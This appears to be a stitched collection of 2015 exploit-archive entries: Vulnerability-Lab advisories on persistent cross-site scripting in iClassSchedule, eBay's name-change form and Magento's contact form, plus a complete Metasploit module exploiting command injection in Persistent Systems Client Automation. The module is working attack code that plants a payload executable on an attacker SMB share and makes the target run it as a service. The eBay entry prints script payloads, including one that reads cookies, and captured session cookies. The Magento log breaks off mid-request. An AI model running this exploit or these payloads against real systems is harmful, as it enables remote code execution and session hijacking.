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Document Title: =============== iClassSchedule 1.6 iOS & Android - Persistent UI Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1494 Release Date: ============= 2015-05-13 Vulnerability Laboratory ID (VL-ID): ==================================== 1494 Common Vulnerability Scoring System: ==================================== 3.4 Product & Service Introduction: =============================== Couldn`t you remember your lesson time? If you are a high-school student or a university one, you will be able easily to consult your weekly guide, using this App on your iPhone. You could choose your sujects following your plan and give them a colour for marking them at the end of the week. (Copy of the Homepage: https://play.google.com/store/apps/details?id=com.idalmedia.android.timetable&hl=it & https://itunes.apple.com/en/app/orariolezioni/id542313616) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a persistent input validation vulnerability in the official iClassSchedule v1.6 iOS & Android mobile web-application. Vulnerability Disclosure Timeline: ================================== 2015-05-13: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Tel.Net srl Product: iClassSchedule - iOS & Android Mobile Web Application 1.6 iOS and 4.6 Android Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ An application-side validation vulnerability has been discovered in the official iClassSchedule v1.6 iOS & Android mobile web-application. The vulnerability allows an attacker to inject own script code as payload to the application-side of the vulnerable service function or module. The vulnerability is located in the `Aula (name input)` values of the vulnerable `iClass Calender` module. Local attackers are able to manipulate the `Aula name` input to compromise the `Calender Index` module. The execution point of the script code occurs on the application-side in the listing module by the manipulated name context field. The Apple iOS and Google Android mobile application versions are affected by the vulnerability. The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.4. Exploitation of the application-side web vulnerability requires a privileged web-application user account and low or medium user interaction. Successful exploitation of the vulnerabilities result in persistent phishing mails, session hijacking, persistent external redirect to malicious sources and application-side manipulation of affected or connected module context. Vulnerable Module(s): [+] Aula Vulnerable Parameter(s): [+] name Affected Module(s): [+] iClass Calender Events Context (App Index) Proof of Concept (PoC): ======================= The persistent input validation web vulnerability can be exploited by local attackers with physical device access and with low user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. 1. Install the mobile application to your iOS or Android device 2. Open the application and add a new entry to the iclass calender index 3. Inject to the Aula name value your own script code (payload) for testings 4. Save the entry and move back to the iclass calender index of the app 5. The code executes because of the wrong encoding in the calender itself. Note: Export and Exchange of malicious context is possible! 6. Successful reproduce of the security vulnerability! Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the vulnerable name value in the iclass calender module. Restrict the name input and disallow usage of special chars to prevent persistent cross site scripting attacks. Security Risk: ============== The security risk of the persistent input validation web vulnerability in the name value is estimated as medium. (CVSS 3.4) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Katharin S. L. (CH) (research@vulnerability-lab.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt Source

Document Title: =============== Ebay Inc Xcom #6 - Persistent POST Inject Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1227 Release Date: ============= 2015-03-24 Vulnerability Laboratory ID (VL-ID): ==================================== 1227 Common Vulnerability Scoring System: ==================================== 3.9 Product & Service Introduction: =============================== eBay Inc. is an American multinational internet consumer-to-consumer corporation, headquartered in San Jose, California. It was founded by Pierre Omidyar in 1995, and became a notable success story of the dot-com bubble; it is now a multi-billion dollar business with operations localized in over thirty countries. The company manages eBay.com, an online auction and shopping website in which people and businesses buy and sell a broad variety of goods and services worldwide. In addition to its auction-style sellings, the website has since expanded to include `Buy It Now` standard shopping; shopping by UPC, ISBN, or other kind of SKU (via Half.com); online classified advertisements online event ticket trading online money transfers and other services. (Copy of the Homepage: http://en.wikipedia.org/wiki/EBay ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered mutliple persistent input validation web vulnerabilities in the official Ebay Magento Web-Application (CMS & API). Vulnerability Disclosure Timeline: ================================== 2014-03-16: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH) 2014-03-17: Vendor Notification (eBay Inc - Security Research Team) 2014-04-16: Vendor Response/Feedback (eBay Inc - Security Research Team) 2015-03-19: Vendor Fix/Patch (eBay Inc - Xcom Developer Team) 2015-03-24: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Ebay Inc. Product: Ebay Inc - Official WebSite Application & API Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ Two persistent input validation web vulnerabilities has been discovered in the official Ebay Magento Web-Application (CMS & API). A persistent vulnerability allows remote attackers to inject malicious script codes on the application-side of the affected web-application. The vulnerability is located in the real `name change` (`Namens?¤nderung`) formular. The input validation of the vulnerable `first- & lastname` does not encode scipt codes. Remote attackers are able to jungle over the main website to the real name change module. In the real name change module the change the registration name with an payload. The scipt code executes in both scenarios but only in case without doublequotes it will be changed (written) in the database. The execution occurs directly in the formular and in the top user name context location. The attack vector is persistent and the request method to inject is POST. After the save of the payload it is possible to attack platform users with the manipulated profile values. The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.9. Exploitation of the persistent web vulnerability requires a low privileged web-application user account and low user interaction. Successful exploitation results in session hijacking, persistent phishings attacks, persistent external redirect and malware loads or persistent manipulation of affected or connected module context. Vulnerable Module(s): [+] Startseite > Namens?¤nderung > [Namens?¤nderung] Vulnerable Parameter(s): [+] firstname [+] lastname Affected Domain(s): [+] ebay.com [+] namechange.ebay.* Proof of Concept (PoC): ======================= The persistent input validation web vulnerability can be exploited by remote attackers with low privileged application user account and low or medium user interaction. For security demonstration or to reproduce the vulnerability follow the provided steps and information below to continue. PoC: firstname <td><input name="firstname" style="width:500px;" value="" type="text">[PERSISTENT INJECTED SCRIPT CODE!]<img src="x" onerror="prompt(23);">????? "><img src="x" onerror="prompt(23);">">?????</td> PoC: lastname <td class="Bullets"> <input name="lastname" style="width:500px;" value="" type="text">[PERSISTENT INJECTED SCRIPT CODE!]<img src="x" onerror="prompt(23);">????? "><img src="x" onerror="prompt(23);">">?????</td> PoC: Payload(s) ">%20<img src="a" onerror="prompt(23);"> "<img src="x" onerror="prompt(document.cookie);"> --- PoC Session Logs [POST] --- Status: Aus dem Cache geladen[Aus dem Cache geladen] POST http://namechange.ebay.de/ Load Flags[LOAD_FROM_CACHE ] Gr???e des Inhalts[-1] Mime Type[unbekannt] Request Header: Host[namechange.ebay.de] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://namechange.ebay.de/] Cookie[ebay=%5Ea2p%3D53271e2790000000000.%5Epsi%3DAsoSnBFk*%5EsfLMD%3D1391608831%5Esbf%3D1048576%5Ecos%3D0%5Ecv%3D15555%5Esin%3Din%5Ejs%3D1%5Edv%3D53271766%5E; dp1=bpcid/223570455084ab5^a1p/0532868b5^bl/DE56e97e35^pbf/%2340000000000081a8c200000455084ab5^mpc/0%7C7753344635^kms/in56e97e35^reg/%5EflagReg%3D1%5E5c8d8e00^tzo/-3c53272545^exc/0%3A0%3A2%3A2534ea435^u1p/MjAxNC5rdW56bQ**55084ab5^u1f/Benjamin55084ab5^idm/1532865eb^; cssg=d0a729021440a62067e10281ff8b9953; s=BAQAAAUSucEmyAAWAAAEAClMoaGoyMDE0Lmt1bnptAAMAAVMoaLUwAWUAAlMoaLUjMgAGAAFTKGi1MACoAAFTKGi0MQFKABlTKGi1NTMyNzE3MzUuNzcuMS4xMS43OC4yLjAuMgAMAApTKGi1MTIyNTYzNzkwNgDuAGxTKGi1MQZodHRwOi8vbXkuZWJheS5kZS93cy9lQmF5SVNBUEkuZGxsP015ZUJheSZteWViYXk9JmN1cnJlbnRwYWdlPU15ZUJheUFkZHJlc3NlcyZzc3BhZ2VuYW1lPVNUUkslM0FNRSUzQUxOTEsHABEAD1MnG5owMDEyMTIwMTQua3Vuem0AEgAKUyhotXRlc3RDb29raWUA9AAiUyhotSQyJEFHbGR1QlhiJERkenZyQms4VzNCY25OdWo0WlpYZTAA+AAgUyhotWQwYTcyOTAyMTQ0MGE2MjA2N2UxMDI4MWZmOGI5OTUzALgADFMnGGExMzk1MDcwNzU2OjAAPQAKUyhotTIwMTQua3Vuem1FmLE+27m8Zof+2xnXOm4/NFcHGw**; nonsession=BAQAAAUSucEmyAAaAAEAAClUISrUyMDE0Lmt1bnptAWQAA1UISrUjOGEABAAKVQhKajIwMTQua3Vuem0AygAgXI0YtWM3OGNiZWY5MTQ0MGEzNTgyZGMzZDMxM2ZmYTdhM2IyAMsAAlMnHj05MgFMABlVCEq1NTMyNzE3MzUuNzcuMS4xMS43OC4zLjAuMgFNABlVCEq1NTMyNzE3MzUuNzcuMS4yLjEzNi4wLjAuMgAQAApVCEq1MjAxNC5rdW56bQAzAAlVCEq1MzQxMjgsREVVAPMAIlUISrUkMiRBR2xkdUJYYiREZHp2ckJrOFczQmNuTnVqNFpaWGUwALQAAVMn7vAwAJoAC1MpueoyMDE0Lmt1bnptbgCcADhVCEq1blkrc0haMlByQm1kajZ3Vm5ZK3NFWjJQckEyZGo2QUdrb2VuQzVlTG9RcWRqNng5blkrc2VRPT0AnQAIVQhKtTAwMDAwMDAxPfZj5+XMryhDSD8OFMa8uTDhh84*; cid=fQWajzwBNP9yfsZ3%232235704; lucky9=9735524; npii=btguid/c78cbef91440a3582dc3d313ffa7a3b255084a4a^cguid/c77cfce61440a56b23d61f96fe2e024155084a4a^; ds1=ats/0; ns1=BAQAAAUSucEmyAAaAANgAYlUISrVjOTR8NjAxXjEzOTUwNzAyNzMwMTdeTWpBeE5DNXJkVzU2YlE9PV4xXjN8Mnw2NXw1MHw1fDR8MTF8N14xXjJeNF4zXjEyXjEyXjJeMV4xXjBeMV4wXjBeMjE0NzQ5MTc3OQClAA1VCEq1MTIyNTYzNzkwNi8wO0yWn93iOeekHlbGoiabaz+eh5SQ; secses=BAQAAAUSucEmyAAaAAUsAGVUISrU1MzI3MTczNS43Ny4xLjExLjc4LjIuMC4y0niei+BIO3Yw57q3p8I3L/TNtoI*; shs=BAQAAAUSucEmyAAaAAVUADlMwUbQ1MTYyMjA1MzEwMDQsM9g7wvvmFa4cmHqHt8ygpU/NRi+3; ds2=asotr/b1Brzzzzzzzz^; dnc-ebay-de=e466b3644255378e63e0f112f81ebb0abf2ad87aad2a1286866a8d066286e5fc; ebay_dnc=u8sqslc4u5voc8605b5o7a8ag3; ssg=uld/1395070822457%5E] POST-Daten: firstname[+%22%3E%3C[MALICIOUS SCRIPT CODE!]%2823%29%3B%3E] lastname[+%22%3E%3C[MALICIOUS SCRIPT CODE!]%2823%29%3B%3E] reason_code[NCP] request_comment[+%22%3E%3C[MALICIOUS SCRIPT CODE!]%2823%29%3B%3E+++bug+bounty+program+test+-+bkm] action[proceed] Reference(s): https://scgi.ebay.de/ws/eBayISAPI.dll?ChangeRegistrationPreview https://scgi.ebay.de/ws/eBayISAPI.dll?ChangeRegistrationShow (Click Change original Registration Account "Name") https://signin.ebay.de/ws/eBayISAPI.dll?SignIn&runame=namechange1 (Login as the regular user account) https://signin.ebay.de/ws/eBayISAPI.dll?SignIn&runame=namechange2 (Exchange the user values with the name with a persistent script code payload) http://namechange.ebay.de/ (persistent execution with save in the frontend & executable script code in backend too!) Solution - Fix & Patch: ======================= The vulnerability needs to be patched in 3 different steps. 1. The input field of the original registration user name change module needs to be restricted on special characters or script codes 2. In the second step the input of the context itself needs to be encoded or secure parsed to prevent further execution of malicious injected script codes as original user name value. 3. The optional third step is to encode already injected strings as original names in the database to prevent executions after the module has been successful updated. Security Risk: ============== The security risk of the application-side input validation web vulnerability in the ebay original name change module is estimated as medium. Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright Š 2015 | Vulnerability Laboratory - [Evolution Security GmbH]â? -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt Source: http://packetstorm.wowhacker.com/1504-exploits/VL-1227.txt

# Exploit Title: Persistent Systems Client Automation (PSCA, formerly HPCA or Radia) Command Injection Remote Code Execution Vulnerability # Date: 2014-10-01 # Exploit Author: Ben Turner # Vendor Homepage: Previosuly HP, now http://www.persistentsys.com/ # Version: 7.9, 8.1, 9.0, 9.1 # Tested on: Windows XP, Windows 7, Server 2003 and Server 2008 # CVE-2015-1497 # CVSS: 10 require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking # Exploit mixins should be called first include Msf::Exploit::Remote::SMB include Msf::Exploit::EXE include Msf::Auxiliary::Report # Aliases for common classes SIMPLE = Rex::Proto::SMB::Client XCEPT = Rex::Proto::SMB::Exceptions CONST = Rex::Proto::SMB::Constants def initialize super( 'Name' => 'Persistent Systems Client Automation (PSCA, formerly HPCA or Radia) Command Injection Remote Code Execution Vulnerability', 'Description' => %Q{ This module exploits PS Client Automation, by sending a remote service install and creating a callback payload. }, 'Author' => [ 'Ben Turner' ], 'License' => BSD_LICENSE, 'References' => [ ], 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 10, 'EXITFUNC' => 'process' }, 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, 'Platform' => ['win'], 'Targets' => [ [ 'PS Client Automation on Windows XP, 7, Server 2003 & 2008', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'January 10 2014' ) register_options([ OptString.new('SMBServer', [true, 'The IP address of the SMB server', '192.168.1.1']), OptString.new('SMBShare', [true, 'The root directory that is shared', 'share']), Opt::RPORT(3465), ], self.class) end def exploit createservice = "\x00\x24\x4D\x41\x43\x48\x49\x4E\x45\x00\x20\x20\x20\x20\x20\x20\x20\x20\x00" createservice << "Nvdkit.exe service install test -path \"c:\\windows\\system32\\cmd.exe /c \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}\\installservice.exe\"" createservice << "\x22\x00\x00\x00" startservice = "\x00\x24\x4D\x41\x43\x48\x49\x4E\x45\x00\x20\x20\x20\x20\x20\x20\x20\x20\x00" startservice << "Nvdkit service start test" startservice << "\x22\x00\x00\x00" removeservice = "\x00\x24\x4D\x41\x43\x48\x49\x4E\x45\x00\x20\x20\x20\x20\x20\x20\x20\x20\x00" removeservice << "Nvdkit service remove test" removeservice << "\x22\x00\x00\x00" def filedrop() begin origrport = self.datastore['RPORT'] self.datastore['RPORT'] = 445 origrhost = self.datastore['RHOST'] self.datastore['RHOST'] = self.datastore['SMBServer'] connect() smb_login() print_status("Generating payload, dropping here: \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}\\installservice.exe'...") self.simple.connect("\\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}") exe = generate_payload_exe fd = smb_open("\\installservice.exe", 'rwct') fd << exe fd.close self.datastore['RPORT'] = origrport self.datastore['RHOST'] = origrhost rescue Rex::Proto::SMB::Exceptions::Error => e print_error("File did not exist, or could not connect to the SMB share: #{e}\n\n") abort() end end def filetest() begin origrport = self.datastore['RPORT'] self.datastore['RPORT'] = 445 origrhost = self.datastore['RHOST'] self.datastore['RHOST'] = self.datastore['SMBServer'] connect() smb_login() print_status("Checking the remote share: \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}") self.simple.connect("\\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}") file = "\\installservice.exe" filetest = smb_file_exist?(file) if filetest print_good("Found, upload was succesful! \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}\\#{file}\n") else print_error("\\\\#{datastore['SMBServer']}\\#{file} - The file does not exist, try again!") end self.datastore['RPORT'] = origrport self.datastore['RHOST'] = origrhost rescue Rex::Proto::SMB::Exceptions::Error => e print_error("File did not exist, or could not connect to the SMB share: #{e}\n\n") abort() end end begin filedrop() filetest() connect() sock.put(createservice) print_status("Creating the callback payload and installing the remote service") disconnect sleep(5) connect() sock.put(startservice) print_good("Exploit sent, awaiting response from service. Waiting 15 seconds before removing the service") disconnect sleep(30) connect sock.put(removeservice) disconnect rescue ::Exception => e print_error("Could not connect to #{datastore['RHOST']}:#{datastore['RPORT']}\n\n") abort() end end end

Document Title: =============== Ebay Inc Magento Bug Bounty #5 - Persistent Validation & Mail Encoding Web Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1226 eBay Inc. Bug Bounty Program ID: EIBBP-27288 Vulnerability Magazine: http://magazine.vulnerability-db.com/?q=articles/2015/02/14/ebay-inc-magento-2015q1-official-bug-bounty-program-rewards-security-researcher Release Date: ============= 2015-02-14 Vulnerability Laboratory ID (VL-ID): ==================================== 1226 Common Vulnerability Scoring System: ==================================== 3.8 Product & Service Introduction: =============================== Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites. Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability inside our system, please tell us right away. ( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered an application-side input validation and mail encoding web vulnerability in the official eBay Magento and Magento info web-application. Vulnerability Disclosure Timeline: ================================== 2014-03-14: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH) 2014-03-15: Vendor Notification (eBay Inc Security Team - Bug Bounty Program) 2014-03-10: Vendor Response/Feedback (eBay Inc Security Team - Bug Bounty Program) 2015-02-12: Vendor Fix/Patch (Magento Developer Team) 2015-02-13: Bug Bounty Reward (eBay Inc Security Team - Bug Bounty Program) 2015-02-14: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Ebay Inc. Product: Magento - Web Application Service 2014 Q1 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ An application-side mail encoding web vulnerability has been discovered in the official eBay Magento & Info Web-Application. The vulnerability allows remote attackers to bypass the outgoing mail filter validation of the magento web-server & web-application. The vulnerability is located in the first- and lastname values of the `Talk to a Specialist` module. Remote attackers without privileged application user account are able to inject persistent malicious script codes. The script code execution occurs in the notification mail to the specialist but also to the active user copy mail. The persistent injected script code executes in the header section were the database context of the first- and lastname will be displayed. The sender interacts automatically by usage of the magento.com & info.magento.com service. The validation of the db stored outgoing values is wrong encoded and allows persistent injections of malicious script codes via POST method. The attack vector is persistent and the injection request method is POST. The security risk of the mail encoding web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8. Exploitation of the web vulnerability requires no privileged web-application user account and low or medium user interaction because of the persistent attack vector. Successful exploitation of the encoding vulnerability results in session hijacking, persistent phishing, persistent external redirects and persistent manipulation of web header or mail body context. Vulnerable Domain(s): [+] magento.com & info.magento.com Vulnerable Module(s): [+] Talk to a Specialist Vulnerable Parameter(s): [+] firstname [+] lastname [+] companyname Affected Sender(s): [+] info@magento.com Affected Receiver(s): [+] bkm@evolution-sec.com Affected Context Module(s): [+] Section 1 > mktEditable Proof of Concept (PoC): ======================= The application-side input validation web vulnerability can be exploited by remote attackers without privileged user account and with low or medium user interaction. For security demonstration or to reproduce the mail encoding web vulnerability follow the provided information and steps below to continue. Manual steps to reproduce of the vulnerability ... 1. You do not need to register an account 2. Open up the main website and switch to the magento.com contacts site 3. On the bottom you need to click the `talk to specialist` button 4. You get redirect to a regular valid formular with a mod specialist notification 5. Inject your script code payloads as first-, last- and companyname values 6. Click the send request button ... Note: Now, you will be redirected by the service after choosing a specialist ... we used `E.C. Kraus` (#sry 7. Send the same request from the input below to the specialist with a non malicious test payload 8. The persistent code execution occurs in the mail to the manager aka specialist but also to the sender of the notification itself (without user auth!) 9. Successful reproduce of the persistent script code injection web vulnerability via POST method request PoC: Your E.C. Kraus Magento Enterprise Case Study Download <html><head> <title>Your E.C. Kraus Magento Enterprise Case Study Download</title> <link rel="important stylesheet" href="chrome://messagebody/skin/messageBody.css"> </head> <body> <table class="header-part1" border="0" cellpadding="0" cellspacing="0" width="100%"> <tbody><tr><td><b>Betreff: </b>Your E.C. Kraus Magento Enterprise Case Study Download</td></tr><tr><td> <b>Von: </b>Magento <info@magento.com></td></tr><tr><td><b>Datum: </b>15.03.2014 20:27</td></tr></tbody></table> <table class="header-part2" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td><b>An: </b>bkm@evolution-sec.com</td></tr></tbody></table><br> <meta http-equiv="Content-Type" content="text/html; "> <title></title> <div id="Section 1" class="mktEditable"><p>Dear a "><[PERSISTENT INJECTED SCRIPT CODE 1!]">%20<[PERSISTENT INJECTED SCRIPT CODE 2!]>,</p> <p>Thank you for requesting the Magento Enterprise Case Study on E.C. Kraus. You can download the Case Study here:</p> <p><a href= "http://email.magento.com/397EXO8770000EP01aGC801" >Download</a></p> <p>Check out our complete list of <a href= "http://email.magento.com/397EXO8770000EQ01aGC801" >Magento Case Studies</a></p> <p>To learn more about Magento Enterprise or to reqeust a personalized quote, please <a href= "http://email.magento.com/397EXO8770000ER01aGC801" >contact out Magento Enterprise team</a>.</p> <p>Thank you,</p> <p>The Magento Team</p></div> <IMG SRC="http://email.magento.com/trk?t=1&mid=Mzk3LUVYTy04Nzc6MDozMzkyOjExMzI1OjA6MzMxNzo3OjE3MzIzNDI4LTE6bnVsbA%3D%3D" WIDTH="1" HEIGHT="1" BORDER="0" ALT="" /> </body> </html> </body> </html> </iframe></p></div></body></html> --- PoC Session Logs [POST] --- 21:15:18.356[654ms][total 2913ms] Status: 200[OK] GET http://magento.com/explore/contact-sales Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[text/html] Request Header: Host[magento.com] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://magento.com/customers/customer-showcase] Cookie[optimizelySegments=%7B%22239237138%22%3A%22direct%22%2C%22237962548%22%3A%22ff%22%2C%22238367687%22%3A%22false%22%7D; optimizelyEndUserId=oeu1394911379094r0.20693940633527685; optimizelyBuckets=%7B%7D; _ga=GA1.2.394130418.1394911379; has_js=1; ClrSSID=1394911380598-4406; ClrOSSID=1394911380598-4406; ClrSCD=1394911380598; s_cc=true; s_fid=5EF56BF224B1A40C-0256902EC3CD13C6; gpv_pn=%2Fcustomers%2Fcustomer-showcase; undefined_s=First%20Visit; s_vnum=1396303200710%26vn%3D1; s_invisit=true; s_sq=magentomagento%2Cmagentoglobal%3D%2526pid%253D%25252Fcustomers%25252Fcustomer-showcase%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fmagento.com%25252Fexplore%25252Fcontact-sales_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_ppv=-%2C84%2C84%2C2200; utm_src=a%3A6%3A%7Bs%3A8%3A%22campaign%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22medium%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22source%22%3Bs%3A11%3A%22magento.com%22%3Bs%3A7%3A%22keyword%22%3Bs%3A0%3A%22%22%3Bs%3A3%3A%22url%22%3Bs%3A11%3A%22magento.com%22%3Bs%3A4%3A%22time%22%3Bi%3A1394911525%3B%7D; _mkto_trk=id:397-EXO-877&token:_mch-magento.com-1394911532816-55587; _tsm=m%3DDirect%2520%252F%2520Brand%2520Aware%253A%2520Typed%2520%252F%2520Bookmarked%2520%252F%2520etc%7Cs%3Dmagento.com%7Crp%3D%252Fwww.magentocommerce.com%252Fdownload%7Crd%3Dmagento.com] Connection[keep-alive] If-None-Match["1394841413-1"] Response Header: Server[maged] Date[Sat, 15 Mar 2014 20:15:18 GMT] Content-Type[text/html; charset=utf-8] Transfer-Encoding[chunked] Connection[keep-alive] X-Drupal-Cache[HIT] Etag["1394841413-1"] x-content-type-options[nosniff] X-Frame-Options[SameOrigin] Content-Language[en] Link[<http://magento.com/explore/contact-sales>; rel="canonical",<http://magento.com/node/22>; rel="shortlink"] Cache-Control[public, max-age=86400] Last-Modified[Fri, 14 Mar 2014 23:56:53 +0000] Expires[Sun, 19 Nov 1978 05:00:00 GMT] Vary[Cookie, Accept-Encoding] Content-Encoding[gzip] X-Server[web04] - 21:15:34.123[335ms][total 335ms] Status: 302[Found] POST https://info.magento.com/index.php/leadCapture/save Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[135] Mime Type[text/html] Request Header: Host[info.magento.com] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[https://info.magento.com/EC-Kraus.html] Cookie[optimizelySegments=%7B%22239237138%22%3A%22direct%22%2C%22237962548%22%3A%22ff%22%2C%22238367687%22%3A%22false%22%7D; optimizelyEndUserId=oeu1394911379094r0.20693940633527685; optimizelyBuckets=%7B%7D; _ga=GA1.2.394130418.1394911379; BIGipServerabjweb-ssl2_http=3892838666.20480.0000; s_cc=true; s_fid=5EF56BF224B1A40C-0256902EC3CD13C6; gpv_pn=%2Fec-kraus.html; undefined_s=First%20Visit; s_vnum=1396303200710%26vn%3D1; s_invisit=true; s_sq=magentoinfo%2Cmagentoglobal%3D%2526pid%253D%25252Fec-kraus.html%2526pidt%253D1%2526oid%253Dfunctiononclick%252528event%252529%25257BformSubmit%252528document.getElementById%252528%252522mktForm_1129%252522%252529%252529%25253Breturnfalse%25253B%25257D%2526oidt%253D2%2526ot%253DSUBMIT; s_ppv=-%2C100%2C100%2C832; 